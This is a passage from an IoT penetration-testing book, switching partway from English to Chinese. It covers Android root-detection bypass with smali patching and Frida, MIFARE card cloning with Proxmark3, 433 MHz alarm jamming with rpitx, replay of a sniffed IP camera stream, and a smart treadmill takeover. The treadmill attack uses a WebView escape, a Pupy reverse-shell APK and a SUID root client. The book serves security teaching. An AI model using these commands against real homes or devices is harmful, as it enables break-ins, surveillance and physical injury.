`if-nez`1 and `if-eqz`2 operations so they always go to `cond_1a`4instead of `cond_f`3. These conditional statements represent “if not equal to zero” and “if equal to zero.” Finally, we compile the altered smali code into a *.dex* file: ``` $ **java -jar smali.jar smaliClasses -o classes.dex** ``` To install the app, we’ll first have to delete the existing metadata and archive it again into an APK with the correct alignment: ``` $ **rm -rf META-INF/*** $ **zip -r app.apk *** ``` Then we have to re-sign it with a custom keystore. The Zipalign tool, located in the Android SDK folder, can fix the alignment. Then Keytool and Jarsigner create a keystore and sign the APK. You’ll need the Java SDK to run these tools: ``` $ **zipalign -v 4 app.apk app_aligned.apk** $ **keytool -genkey -v -keystore debug.keystore -alias android -keyalg RSA -keysize 1024** $ **jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -storepass qwerty -keypass qwerty -keystore debug.keystore app_aligned.apk android** ``` Once you’ve successfully executed these commands, the APK will be ready to install on your device. This APK will now operate on a rooted device, because we’ve bypassed its root detection mechanism by patching it. ### Avoid Root Detection Using Dynamic Patching A different approach for avoiding root detection is to bypass it dynamically at runtime with Frida. This way, we don’t have to change the naming of our binaries, which will probably break compatibility with other apps; nor will we have to go the extra mile of patching the binary, which is a rather time-consuming task. We’ll use the following Frida script: ``` Java.perform(function () { 1 var Main = Java.use('com.android.insecurebankv2.PostLogin'); 2 Main.doesSUexist.implementation = function () { 3 return false; }; 4 Main.doesSuperuserApkExist.implementation = function (path) { 5 return false; }; }); ``` The script tries to find the *com.android.insecurebankv2.PostLogin* package 1 and then overrides the functions `doesSUexist()`2and `doesSuperuserApkExist()`4by simply returning a `false`value 35. Using Frida requires either root access in the system or the addition of the Frida agent in the application as a shared library. If you’re working on the Android emulator, the easiest method is to download a non–Google Play AVD image. Once you have root privileges on your testing device, you can trigger the Frida script using the following command: ``` $ **frida -U -f com.android.insecurebankv2 -l working/frida.js** ``` ## Conclusion In this chapter, we covered the Android and iOS platforms, examined the threat architecture for IoT companion apps, and discussed a number of the most common security issues you’ll encounter in your assessments. You can use this chapter as a reference guide: try to follow our methodology and replicate the attack vectors in the examined applications. But the analysis wasn’t exhaustive, and these projects have more vulnerabilities for you to find. Maybe you’ll find a different way to exploit them. The OWASP Mobile Application Security Verification Standard (MASVS) provides a robust checklist of security controls and is described in the Mobile Security Testing Guide (MSTG) for both Android and iOS. There, you’ll also find a list of useful, up-to-date tools for mobile security testing.
第十五章:黑客攻击智能家居

几乎在任何现代家庭中常见的设备,如电视、冰箱、咖啡机、空调系统,甚至健身设备,现在都可以互相连接,并能够为用户提供比以往更多的服务。你可以在开车时设置理想的家居温度,收到洗衣机完成洗涤任务的通知,或者在回家时自动开灯和打开窗帘,甚至可以让电视直接将节目流式传输到手机上。
与此同时,越来越多的企业也配备了类似的设备,不仅仅是在会议室、厨房或休息室。许多办公室将物联网设备作为关键系统的一部分,如办公室报警器、安全摄像头和门锁。
本章中,我们将进行三种不同的攻击,展示黑客如何篡改现代智能家居和企业中常用的物联网设备。这些演示建立在全书中讨论的技术之上,因此它们应该能够帮助你更好地理解前面章节的内容。首先,我们展示如何通过克隆智能锁卡和禁用报警系统获得进入建筑物的权限。接着,我们提取并播放 IP 安全摄像头的录像。然后,我们描述一种攻击,目的是控制智能跑步机并造成可能致命的伤害。
获得物理进入建筑物的权限
智能家居安全系统无疑是那些试图进入受害者住所的对手潜在目标。现代安全系统通常配备触摸键盘、多个无线门窗传感器、运动雷达以及具有蜂窝网络和电池备份的报警基站。基站是整个系统的核心,处理所有识别到的安全事件。它通过互联网连接,能够向用户的移动设备发送电子邮件和推送通知。此外,它通常与智能家居助手高度集成,如 Google Home 和 Amazon Echo。许多系统甚至支持扩展套件,包括面部追踪摄像头(具有人脸识别功能)、支持 RFID 的智能门锁、烟雾探测器、一氧化碳探测器和水漏传感器。
在本节中,我们将使用第十章介绍的技术,识别用于解锁公寓门智能锁的 RFID 卡,提取保护该卡的密钥,并克隆该卡以获得进入公寓的权限。接着,我们将识别无线报警系统使用的频率,并尝试干扰其通信频道。
克隆钥匙锁系统的 RFID 标签
要获得智能家居的物理访问权限,首先必须绕过智能门锁。这些系统安装在现有门锁的内部,并配有集成的 125 kHz/13.56 MHz 接近读卡器,允许用户配对钥匙扣和 RFID 卡。当你回家时,它们可以自动解锁门,并在你离开时安全地再次锁上门。
在本节中,我们将使用 Proxmark3 设备(在第十章中介绍)来克隆受害者的 RFID 卡并解锁他们的公寓门。你可以在该章节中找到如何安装和配置 Proxmark3 设备的说明。
在这个场景中,假设我们能够接近受害者的 RFID 卡。我们只需要在受害者存放 RFID 卡的钱包旁停留几秒钟。
识别使用的 RFID 卡类型
首先,我们必须通过使用 Proxmark3 的hf搜索命令扫描受害者的卡片来识别门锁使用的 RFID 卡类型。
$ proxmark3>**hf search**
UID : 80 55 4b 6c
ATQA : 00 04
SAK : 08 [2]
1 TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
2 Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
Proxmark3 工具检测到存在 MIFARE Classic 1KB 卡片 1。输出还测试了多个已知的卡片弱点,这些弱点可能允许我们干扰 RFID 卡。特别地,我们看到它的伪随机数生成器(PRNG)被标记为薄弱 2。PRNG 实现了 RFID 卡的身份验证控制,并保护 RFID 卡与 RFID 读卡器之间的数据交换。
执行 Darkside 攻击以获取扇区密钥
我们可以利用检测到的弱点之一来识别此卡的扇区密钥。如果我们揭示了扇区密钥,就能完全克隆数据,而且由于该卡包含门锁识别房主所需的所有信息,克隆卡片使得攻击者能够冒充受害者。
如第十章所述,卡片的存储被划分为多个扇区,为了读取一个扇区的数据,卡片读卡器必须首先使用对应的扇区密钥进行身份验证。最简单的攻击方法是 Darkside 攻击,它不需要对卡片数据有任何先前了解。Darkside 攻击利用了卡片的伪随机数生成器(PRNG)中的一个缺陷、一个薄弱的验证控制和卡片错误响应的一些组合来提取扇区密钥的部分内容。PRNG 提供了弱随机数;此外,每次卡片通电时,PRNG 都会重置为初始状态。因此,如果攻击者注意时序,他们可以预测 PRNG 生成的随机数,甚至可以随意生成所需的随机数。
你可以通过在 Proxmark3 交互式终端中输入hf mf mifare命令来执行 Darkside 攻击:
proxmark3> **hf mf mifare**
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------uid(80554b6c) nt(5e012841) par(3ce4e41ce41c8c84) ks(0209080903070606) nr(2400000000)
|diff|{nr} |ks3|ks3⁵|parity |
+----+--------+---+-----+---------------+
| 00 |00000000| 2 | 7 |0,0,1,1,1,1,0,0|
…
1 Found valid key:ffffffffffff
你应该能在 1 到 25 秒内恢复一个扇区的密钥。我们恢复的密钥是该类型 RFID 卡的默认密钥之一 1。
执行嵌套认证攻击以获取剩余的扇区密钥
一旦知道至少一个扇区密钥,就可以执行一个更快的攻击,称为嵌套认证,以获取其余的扇区密钥,这些密钥是克隆其余扇区数据所需的。嵌套认证攻击允许您对一个扇区进行认证,从而与卡片建立加密通信。随后,攻击者对另一个扇区的认证请求将迫使认证算法再次执行。(我们在第十章中详细讲解了这一认证算法的细节。)但这一次,卡片将生成并发送一个挑战,攻击者可以根据 PRNG 漏洞预测这个挑战。该挑战将使用相应扇区的密钥进行加密。然后,系统会向该值添加一些位以达到特定的奇偶校验。如果您知道带有奇偶校验位的可预测挑战及其加密形式,就可以推断出扇区密钥的部分内容。
您可以使用hf mf nested命令执行此攻击,后面跟着若干参数:
proxmark3> **hf mf nested 1 0 A FFFFFFFFFFFF t**
Testing known keys. Sector count=16
nested...
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
…
第一个参数指定卡片内存(因为它是 1KB,我们使用值1);第二个参数指定已知密钥的扇区号;第三个参数定义已知密钥的类型(MIFARE 卡中的A或B);第四个参数是先前提取的密钥;t参数要求将密钥传输到 Proxmark3 内存中。执行完成后,您应该会看到一个矩阵,显示每个扇区的两种密钥类型。
将标签加载到内存
现在可以使用hf mf ecfill命令将标签加载到 Proxmark3 仿真器的内存中。A参数再次指定工具应使用认证密钥类型A (0x60):
proxmark3> **hf mf ecfill A**
#db# EMUL FILL SECTORS FINISHED
测试克隆卡
接下来,您可以接近门锁,并通过使用hf mf sim命令读取和写入 Proxmark3 内存中存储的内容来模拟克隆的标签。无需将内容写入新卡,因为 Proxmark3 可以模拟 RFID 卡。
proxmark3> **hf mf sim**
uid:N/A, numreads:0, flags:0 (0x00)
#db# 4B UID: 80554b6c
请注意,并非所有 MIFARE Classic 卡都容易受到这两种攻击的影响。有关针对其他类型 RFID 卡和钥匙扣的攻击,请参见第十章中讨论的技术。对于不强制实施认证算法的简单钥匙扣,您也可以使用便宜的钥匙扣复制器,例如 TINYLABS 的 Keysy。可以在其网站tinylabs.io/keysy/keysy-compatibility/上查看支持的钥匙扣型号。
干扰无线报警
Darkside 攻击使你能够轻松进入受害者的住所。但公寓可能也配有能够检测到安全漏洞并通过其内置警报器发出响亮警告的报警系统。此外,它还可以通过将通知发送到受害者的手机,快速通知他们安全漏洞。即使你已经绕过了门锁,打开门也会导致无线门禁传感器触发此报警系统。
克服这一挑战的一种方法是干扰无线传感器与报警系统基站之间的通信通道。你可以通过干扰传感器向报警基站发送的无线信号来做到这一点。进行干扰攻击时,你必须在传感器使用的相同频率上发送无线信号,从而降低通信通道的信噪比**(SNR)。SNR 是指从传感器到达基站的有意义信号的功率与同时到达基站的背景噪声的功率之间的比值。降低的 SNR 会阻止基站接收门禁传感器的通信。
监控报警系统的频率
在本节中,我们将使用低成本的 RTL-SDR DVB-T 加密狗(图 15-1)来设置一个软件定义无线电**(SDR)。我们将使用它监听来自警报的频率,以便稍后可以传输相同频率的信号。

图 15-1:廉价的 RTL-SDR DVB-T 加密狗和配有无线门禁传感器的报警系统
要复制此实验,你可以使用大多数配备Realtek RTL2832U芯片组的 DVB-T 加密狗。RTL2832U 的驱动程序已预安装在 Kali Linux 中。输入以下命令以验证系统是否检测到 DVB-T 加密狗:
$ **rtl_test**
Found 1 device(s):
0: Realtek, RTL2838UHIDIR, SN: 00000001
为了将无线电频谱转换成我们可以分析的数字流,我们需要下载并执行 CubicSDR 二进制文件(github.com/cjcliffe/CubicSDR/releases/)。
大多数无线报警系统使用几个无许可证的频段之一,如 433 MHz 频段。我们从监控 433 MHz 频率开始,当受害者打开或关闭一个配有无线门禁传感器的门时。为此,请使用 Linux 平台上预安装的chmod工具,后跟+x参数,使二进制文件可执行:
$ **chmod +x CubicSDR-0.2.5-x86_64.AppImage**
使用以下命令运行二进制文件;CubicSDR 界面应会出现:
$ **./CubicSDR-0.2.5-x86_64.AppImage**
应用程序应列出你可以使用的已检测设备。选择 RTL2932U 设备并点击开始,如图 15-2 所示。

图 15-2:CubicSDR 设备选择
要选择频率,将鼠标指针移动到设置中心频率框中列出的值上,然后按空格键。接着输入值433MHz,如图 15-3 所示。

图 15-3:CubicSDR 频率选择
你可以在 CubicSDR 中查看频率,如图 15-4 所示。

图 15-4:CubicSDR 监听 433 MHz
每次受害者开关门时,你应该在图表中看到一个小的绿色峰值。更强的峰值将以黄色或红色显示,表示传感器正在传输的准确频率。
使用 Raspberry Pi 在相同频率下发送信号
使用开源的Rpitx软件,你可以将 Raspberry Pi 转变为一个简单的无线电发射器,可以处理从 5 kHz 到 1,500 MHz 的频率。Raspberry Pi 是一款低成本的单板计算机,适用于许多项目。任何运行轻量版 Raspbian 操作系统安装的 Raspberry Pi 型号(除了 Raspberry Pi B)目前都可以支持 Rpitx。
要安装并运行 Rpitx,首先将一根线连接到 Raspberry Pi 的暴露 GPIO 4 引脚,如图 15-5 所示。你可以使用任何商业或自定义的电线来实现这一点。

图 15-5:Raspberry Pi GPIO 4 引脚
使用git命令从远程仓库下载应用程序。然后导航到其文件夹并运行install.sh脚本:
$ **git clone** **http****s://github.com/F5OEO/rpitx**
$ **cd rpitx && ./install.sh**
现在重启设备。要开始传输,使用rpitx命令。
$ **sudo ./rpitx –m VFO –f 433850**
-m参数定义传输模式。在此情况下,我们将其设置为VFO,以传输恒定频率。-f参数定义要在 Raspberry Pi 的 GPIO 4 引脚上输出的频率(单位:千赫)。
如果你将 Raspberry Pi 连接到显示器,你可以使用 Rpitx 图形用户界面进一步调节发射器,如图 15-6 所示。

图 15-6:Rpitx GUI 发射器选项
我们可以通过使用 RTL-SDR DVB-T 接收器进行新的捕获,验证信号是否以正确的频率传输。现在你可以开门而不会触发报警。
如果你使用的是 Rpitx 版本 2 或更高版本,你还可以直接从 RTL-SDR DVB-T 接收器录制信号,并通过提供的图形用户界面在相同频率下重放它。在这种情况下,你无需使用 CubicSDR。我们将这个作为练习留给你完成。你可以尝试这个功能,针对那些提供遥控器来激活或停用报警的报警系统。
更昂贵、高度复杂的报警系统可能会检测到无线频率中的噪声,并试图通知用户此事件。为避免这种情况,你可以尝试通过执行去认证攻击来干扰报警系统基站的 Wi-Fi 连接,如第十二章所讨论的。有关使用 Aircrack-ng 套件的更多信息,请参阅该章节。
播放 IP 摄像头流
假设你是一个攻击者,已经通过某种方式访问了一个包含 IP 摄像头的网络。那么,什么样的攻击可能会对隐私产生重大影响,并且你甚至无需触及摄像头就能实施呢?当然是回放摄像头的视频流。即使摄像头没有漏洞(这非常不可能!),一个在网络中获得中间人位置的攻击者仍然可以从任何潜在的不安全通信通道捕获流量。坏消息(或好消息,取决于你的视角)是,许多当前的摄像头仍然使用未加密的网络协议来流式传输视频。捕获网络流量是一回事,但能够向利益相关者证明从该转储中回放视频是可能的,又是另一回事。
如果网络没有分段,你可以使用像 ARP 缓存中毒或 DHCP 欺骗(在第三章首次介绍)等技术轻松实现中间人攻击位置。在摄像头视频流的例子中,我们假设已经达成了这个位置,并且你已经捕获了通过实时流媒体协议(RTSP)、实时传输协议(RTP)和 RTP 控制协议(RTCP)流动的网络摄像头的 pcap 文件,这些将在接下来的章节中讨论。
了解流媒体协议
RTSP、RTP 和 RTCP 协议通常是相互配合工作的。虽然我们不深入探讨它们的内部工作原理,下面是每个协议的简要介绍:
-
RTSP 是一个客户端-服务器协议,充当带有实时视频源和存储片段的多媒体服务器的网络遥控器。你可以把 RTSP 想象成可以发送类似 VHS 风格的多媒体播放命令的协议统治者,例如播放、暂停和录制。RTSP 通常通过 TCP 运行。
-
RTP 执行媒体数据的传输。RTP 运行在 UDP 上,并与 RTCP 协同工作。
-
RTCP 定期发送带外报告,向 RTP 参与者通告统计信息(例如,发送和丢失的数据包数以及抖动)。尽管 RTP 通常通过偶数的 UDP 端口发送,RTCP 会通过下一个最高的奇数 UDP 端口发送:你可以在 Wireshark 转储中看到这一点,如图 15-7 所示。
分析 IP 摄像头网络流量
在我们的设置中,IP 摄像头的 IP 地址是 192.168.4.180,旨在接收视频流的客户端的 IP 地址是 192.168.5.246。客户端可以是用户的浏览器或视频播放器,如 VLC 媒体播放器。
作为一个中间人攻击者,我们在 Wireshark 中捕获了图 15-7 所示的对话。

图 15-7:通过 RTSP 和 RTP 建立的典型多媒体会话的 Wireshark 输出
该流量是客户端与 IP 摄像头之间的典型多媒体 RTSP/RTP 会话。客户端首先通过发送RTSP OPTIONS请求 1 到摄像头。此请求询问服务器它将接受哪些请求类型。接受的类型随后包含在服务器的RTSP REPLY2 中。在此案例中,它们是`DESCRIBE`*、* `SETUP`*、* `TEARDOWN`*、* `PLAY`*、* `SET_PARAMETER`*、* `GET_PARAMETER`*和`PAUSE`(某些读者可能会发现这些术语与 VHS 时代很相似),如图 15-8 所示。
 Figure 15-8: The camera’s `RTSP OPTIONS` reply contains the request types it accepts. Then the client sends an `RTSP DESCRIBE` request 3 that includes an `RTSP URL` (a link for viewing the camera feed, which in this case is *rtsp://192.168.4.180:554/video.mp4*). With this request 3 the client is asking the URL’s description and will notify the server with the description formats the client understands by using the `Accept` header in the form `Accept: application/sdp`. The server’s reply 4 to this is usually in the Session Description Protocol (SDP) format shown in Figure 15-9. The server’s reply is an important packet for our proof of concept, because we’ll use that information to create the basis of an SDP file. It contains important fields, such as media attributes (for example, encoding for the video is H.264 with a sample rate of 90,000 Hz) and which packetization modes will be in use.  Figure 15-9: The camera’s RTSP reply to the `DESCRIBE` request includes the SDP part. The next two RTSP requests are `SETUP` and `PLAY`. The former asks the camera to allocate resources and start an RTSP session; the latter asks to start sending data on the stream allocated via `SETUP`. The `SETUP` request 5 includes the client’s two ports for receiving RTP data (video and audio) and RTCP data (statistics and control info). The camera’s reply 6 to the `SETUP` request confirms the client’s ports and adds the server’s corresponding chosen ports, as shown in Figure 15-10.  Figure 15-10: The camera’s reply to the client’s `SETUP` request After the `PLAY` request 7, the server starts transmitting the RTP stream 8 (and some RTCP packets) 9. Return to Figure 15-7 to see that this exchange happens between the `SETUP` request’s agreed-upon ports. ### Extracting the Video Stream Next, we need to extract the bytes from the SDP packet and export them into a file. Because the SDP packet contains important values about how the video is encoded, we need that information to play back the video. You can extract the SDP packet by selecting the **RTSP/SDP** packet in the Wireshark main window, selecting the **Session Description Protocol** part of the packet, and then right-clicking and selecting **Export Packet Bytes** (Figure 15-11). Then save the bytes into a file on the disk.  Figure 15-11: Select the SDP part of the RTSP packet in Wireshark and Export Packet Bytes to a file. The created SDP file will look something like Listing 15-1. ``` v=0 1 o=- 0 0 IN IP4 192.168.4.180 2 s=LIVE VIEW 3 c=IN IP4 0.0.0.0 t=0 0 a=control:* 4 m=video 0 RTP/AVP 35 a=rtpmap:35 H264/90000 a=rtpmap:102 H265/90000 a=control:video a=recvonly a=fmtp:35 packetization-mode=1;profile-level-id=4d4033;sprop-parameter-sets=Z01AM42NYBgAbNgLUBDQECA=,aO44gA== ``` Listing 15-1: The original SDP file as saved by exporting the SDP packet from the Wireshark dump We’ve marked the most important parts of the file that we need to modify. We see the session owner (`-`), the session id (`0`), and the originator’s network address 1. For accuracy, because the originator of this session will be our localhost, we can change the IP address to 127.0.0.1 or delete this line entirely. Next, we see the session name 2. We can omit this line or leave it as-is. If we leave it, the string `LIVE VIEW` will briefly appear when VLC plays back the file. Then we see the listening network address 3. We should change this to 127.0.0.1 so we don’t expose the FFmpeg tool we’ll use later on the network, because we’ll only be sending data to FFmpeg locally through the loopback network interface. The most important part of the file is the value that contains the network port for RTP 4. In the original SDP file, this is `0`, because the port was negotiated later through the RTSP `SETUP` request. We’ll have to change this port to a valid non-zero value for our use-case. We arbitrarily chose `5000`. Listing 15-2 displays the modified SDP file. We saved it as *camera.sdp*. ``` v=0 c=IN IP4 127.0.0.1 m=video 5000 RTP/AVP 35 a=rtpmap:35 H264/90000 a=rtpmap:102 H265/90000 a=control:video a=recvonly a=fmtp:35 packetization-mode=1;profile-level-id=4d4033;sprop-parameter-sets=Z01AM42NYBgAbNgLUBDQECA=,aO44gA== ``` Listing 15-2: The modified SDP file The second step is to extract the RTP stream from Wireshark. The RTP stream contains the encoded video data. Open the *pcap* file that contains the captured RTP packets in Wireshark; then click **Telephony**▶**RTP Streams**. Select the stream shown, right-click it, and select **Prepare Filter**. Right-click again and select **Export as RTPDump**. Then save the selected RTP stream as an *rtpdump* file (we saved it as *camera.rtpdump*). To extract the video from the *rtpdump* file and play it back, you’ll need the following tools: RTP Tools to read and play back the RTP session, FFmpeg to convert the stream, and VLC to play back the final video file. If you’re using a Debian-based distribution like Kali Linux, you can easily install the first two using`apt`: ``` $ **apt-get install vlc** $ **apt-get install ffmpeg** ``` You’ll have to download the RTP Tools manually either from its website ([`github.com/irtlab/rtptools/`](https://github.com/irtlab/rtptools/)) or its GitHub repository. Using `git`, you can clone the latest version of the GitHub repository: ``` $ **git clone https://github.com/cu-irt/rtptools.git** ``` Then compile the RTP Tools:: ``` $ **cd rtptools** $ **./configure && make** ``` Next, run FFmpeg using the following options: ``` $ **ffmpeg -v warning -protocol_whitelist file,udp,rtp -f sdp -i camera.sdp -copyts -c copy -y** **out.mkv** ``` We whitelist the allowed protocols (file, UDP, and SDP) because it’s a good practice. The `-f` switch forces the input file format to be SDP regardless of the file’s extension. The `-i` option supplies the modified *camera.sdp* file as input. The `-copyts` option means that input timestamps won’t be processed. The `-c copy` option signifies that the stream is not to be re-encoded, only outputted, and `-y` overwrites output files without asking. The final argument (*out.mkv*) is the resulting video file. Now run RTP Play, providing the path of the *rtpdump* file as an argument to the `-f` switch: ``` ~/rtptools-1.22$ **./rtpplay -T -f****../****camera****.rtpdump 127.0.0.1/5000** ``` The last argument is the network address destination and port that the RTP session will be played back to. This needs to match the one FFmpeg read through the SDP file (remember that we chose `5000` in the modified *camera.sdp* file). Note that you must execute the `rtpplay` command immediately after you start FFmpeg, because by default FFmpeg will terminate if no incoming stream arrives soon. The FFmpeg tool will then decode the played-back RTP session and output the *out.mkv* file. Then VLC will gloriously be able to play the video file: ``` $ **vlc out.mkv** ``` When you run this command, you should witness the captured camera video feed. You can watch a video demonstration of this technique on this book’s website at [`nostarch.com/practical-iot-hacking/`](https://nostarch.com/practical-iot-hacking/). There are ways to securely transmit video streams that would prevent man-in-the-middle attacks, but few devices currently support them. One solution would be to use the newer *Secure RTP (SRTP)* protocol that can provide encryption, message authentication, and integrity, but note that these features are optional and could be disabled. People might disable them to avoid the performance overhead of encryption, because many embedded devices don’t have the necessary computational power to support it. There are also ways to separately encrypt RTP, as described at RFC 7201\. Methods include using IPsec, RTP over TLS over TCP, or RTP over Datagram TLS (DTLS). ## Attacking a Smart Treadmill As an attacker, you now have unrestricted access to the user’s premises and you can check whether you appear in their security footage by playing back the video. The next step is to use your physical access to perform further attacks on other smart devices to extract sensitive data or even make them perform unwanted actions. What if you could turn all these smart devices against their owner while making it look like an accident? A good example of smart home devices that you can exploit for such malicious purposes are those related to fitness and wellness, such as exercise and movement trackers, electric connected toothbrushes, smart weight scales, and smart exercise bikes. These devices can collect sensitive data about a user’s activities in real time. Some of them can also affect the user’s health. Among other features, the devices might be equipped with high-quality sensors designed to sense a user’s condition; *activity tracking systems* responsible for monitoring the user’s performance; cloud computing capabilities to store and process the collected data on a daily basis; internet connectivity that offers real-time interaction with users of similar devices; and multimedia playback that transforms the fitness device into a state-of-the-art infotainment system. In this section, we’ll describe an attack against a device that combines all these amazing features: the smart powered treadmill, as shown in Figure 15-12. Smart treadmills are one of the most fun ways to exercise in the home or gym, but you can get injured if the treadmill malfunctions. The attack described in this section is based on a presentation given at the 2019 IoT security conference Troopers by Ioannis Stais (one of the authors of this book) and Dimitris Valsamaras. As a security measure, we won’t disclose the smart treadmill vendor’s name or the exact device model. The reason is that even though the vendor did address the issues very quickly by implementing the proper patches, these devices aren’t necessarily always connected to the internet, and as a result, might have not been updated yet. That said, the identified issues are textbook vulnerabilities often found in smart devices; they’re very indicative of what can go wrong with an IoT device in a modern smart home.  Figure 15-12: A modern smart treadmill ### Smart Treadmills and the Android Operating System Many smart treadmills use the Android operating system, which runs on more than a billion phones, tablets, watches, and televisions. By using Android in a product, you’re automatically granted significant benefits; for example, specialized libraries and resources for fast app development, and mobile apps, already available on the Google Play Store, that can be directly integrated into a product. Also, you have the support of an extended device ecosystem of all shapes and sizes that includes smartphones, tablets (AOSP), cars (Android Auto), smartwatches (Android Wear), TVs (Android TV), embedded systems (Android Things), and extensive official documentation that comes with online courses and training material for developers. Additionally, many original equipment manufacturers and retailers can provide compatible hardware parts. But every good thing comes with a price: the adopted system risks becoming too generic It also provides far more functionality than required, increasing the product’s overall attack surface. Often, the vendors include custom apps and software that lack proper security audits and circumvent the existing platform security controls to achieve primary functions for their product, such as hardware control, as shown in Figure 15-13. To control the environment the platform provides, vendors typically follow one of two possible approaches. They can integrate their product with a *Mobile Device Management (MDM)* software solution. MDM is a set of technologies that can be used to remotely administer the deployment, security, auditing, and policy enforcement of mobile devices. Otherwise, they can generate their own custom platform based on the *Android Open Source Project (AOSP)*. AOSP is freely available to download, customize, and install on any supported device. Both solutions offer numerous ways to limit the platform-provided functionalities and restrict the user access only to the intended ones.  Figure 15-13: A smart treadmill’s stack The device examined here uses a customized platform based on AOSP equipped with all the necessary apps. ### Taking Control of the Android Powered Smart Treadmill In this section, we’ll walk through an attack on the smart treadmill that allowed us to control the speed and the incline of the device remotely. #### Circumventing UI Restrictions The treadmill is configured to allow the user to access only selected services and functionalities. For example, the user can start the treadmill, select a specific exercise, and watch TV or listen to a radio program. They can also authenticate to a cloud platform to track their progress. Bypassing these restrictions could allow us to install services to control the device. Adversaries who want to circumvent UI restrictions commonly target the authentication and registration screens. The reason is that, in most cases, these require browser integration, either to perform the actual authentication functionality or to provide supplementary information. This browser integration is usually implemented using components provided by the Android framework, such as WebView objects. WebView is a feature that allows developers to display text, data, and web content as part of an application interface without requiring extra software. Although useful for developers, it supports plenty of functionality that can’t be easily protected, and as a result, it’s often targeted. In our case, we can use the following process to circumvent the UI restrictions. First, click the **Create new account** button on the device screen. A new interface should appear requesting the user’s personal data. This interface contains a link to the Privacy Policy. The Privacy Policy seems to be a file that is presented in WebView, as shown in Figure 15-14.  Figure 15-14: Registration interface with links to the Privacy Policy Within the Privacy Policy are other links, such as the Cookies Policy file shown in Figure 15-15.  Figure 15-15: WebView displaying the Privacy Policy local file Fortunately, this policy file contains external links to resources hosted in remote servers, such as the one that appears as an icon in the top bar of the interface, as shown in Figure 15-16.  Figure 15-16: A link to an external site on the Cookies page By selecting the link, the adversary can navigate to the vendor’s site and retrieve content that they wouldn’t have been able to access before, such as the site’s menus, images, videos and vendor’s latest news. The final step is to attempt to escape from the cloud service to visit any custom website. The most common targets are usually the external web page’s Search Web Services buttons, which are shown in Figure 15-17, because they allow users to access any other site by simply searching for it.  Figure 15-17: An external site containing links to the Google search engine In our case, the vendor’s site has integrated the Google search engine so the site’s visitors can perform local searches for the website’s content. An attacker can click the small Google icon at the top left of the screen to transfer to the Google search page. Now we can navigate to any site by typing the site’s name in the search engine. Alternatively, attackers could exploit the Login interface feature that allows users to authenticate with Facebook (Figure 15-18) because it creates a new browser window.  Figure 15-18: The authentication interface links to Facebook. Then, when we click the Facebook logo shown in Figure 15-19, we can escape from WebView into a new browser window that allows us to access the URL bar and navigate to other sites.  Figure 15-19: A pop-up window that links to an external site #### Attempting to Get Remote Shell Access With access to other sites, the attacker could now use their web browsing capabilities to navigate to a remotely hosted Android application executable and then attempt to directly download and install it on the device. We’ll try to install an Android app on our computer that would give us remote shell access to the treadmill: it’s called the *Pupy* agent ([`github.com/n1nj4sec/pupy`](https://github.com/n1nj4sec/pupy)*/*). We first have to install the Pupy server to our system. Using the Git tool to download the code from the remote repository, we then navigate to its folder and use the *create-workspace.py*script to set up the environment: ``` $ **git clone --recursive https://github.com/n1nj4sec/pupy** $ **cd pupy && ./create-workspace.py pupyws** ``` Next, we can generate a new Android APK file using the `pupygen` command: ``` $ **pupygen -f client -O android –o sysplugin.apk connect --host 192.168.1.5:8443** ``` The `-f` parameter specifies that we want to create a client application, the `-O` parameter stipulates that it should be an APK for Android platforms, the `-o` parameter names the application, the `connect` parameter requires the application to perform a reverse connection back to the Pupy server, and the `--host` parameter provides the IPv4 and port on which this server is listening. Because we can navigate to custom websites through the treadmill’s interface, we can host this APK to a web server and try to directly access the treadmill. Unfortunately, when we tried to open the APK, we learned that the treadmill doesn’t allow you to install apps with an APK extension just by opening them through WebView. We’ll have to find some other way. #### Abusing a Local File Manager to Install the APK We’ll use a different strategy to attempt to infect the device and gain persistent access. Android WebViews and web browsers can trigger activities on other apps installed on the device. For example, all devices equipped with an Android version later than 4.4 (API level 19) allow users to browse and open documents, images, and other files using their preferred document storage provider. As a result, navigating to a web page containing a simple file upload form, like the one in Figure 15-20, will make Android look for installed File Manager programs.  Figure 15-20: Accessing an external site that requests a file upload Surprisingly, we discovered that the treadmill’s browser window can initiate a custom File Manager application by letting us select its name from the sidebar list in the pop-up window, as shown in Figure 15-21. The one we’ve highlighted isn’t a default Android file manager and was probably installed as an extension in the Android ROM to allow the device manufacturer to perform file operations more easily.  Figure 15-21: Opening a custom local File Manager This File Manager has extensive functionalities: it can compress and decompress files, and it can even directly open other apps—a functionality that we’ll exploit to install a custom APK. In the File Manager, we locate the previously downloaded APK file and click the **Open** button, as shown in Figure 15-22.  Figure 15-22: Abusing the local File Manager to execute a custom APK The Android package installer, which is the default Android app that allows you to install, upgrade, and remove applications on the device, will then automatically initiate the normal installation process, as shown in Figure 15-23.  Figure 15-23: Executing a custom APK from the File Manager Installing the Pupy agent will initiate a connection back to the Pupy server, as shown here. We can now use the remote shell to execute commands to the treadmill as a local user. ``` [*] Session 1 opened (treadmill@localhost) (xx.xx.xx.xx:8080 <- yy.yy.yy.yy:43535) >> **sessions** id user hostname platform release os_arch proc_arch intgty_lvl address tags --------------------------------------------------------------------------- 1 treadmill localhost android 3.1.10 armv7l 32bit Medium yy.yy.yy.yy ``` #### Escalating Privileges The next step is to perform privilege escalation. One way to achieve that is to look for *SUID binaries*, which are binaries that we can execute using a selected user’s permissions, even if the person executing them has lower privileges. More precisely, we’re looking for binaries that we can execute as the *root* user, which is the superuser on an Android platform. These binaries are common in Android-controlled IoT devices, because they allow apps to issue commands to the hardware and perform firmware updates. Normally, Android apps work in isolated environments (often called sandboxes) and can’t gain access to other apps or the system. But an app with superuser access rights can venture out of its isolated environment and take full control of the device. We found that it’s possible to perform privilege escalation by abusing an unprotected SUID service installed on the device named *su_server*. This service was receiving commands from other Android applications over Unix domain sockets. We also found a client binary named `su_client` installed in the system. The client could be used to directly issue commands with root privileges, as shown here: ``` $ **./su_client 'id > /sdcard/status.txt' && cat /sdcard/status.txt** uid=0(root) gid=0(root) context=kernel ``` The 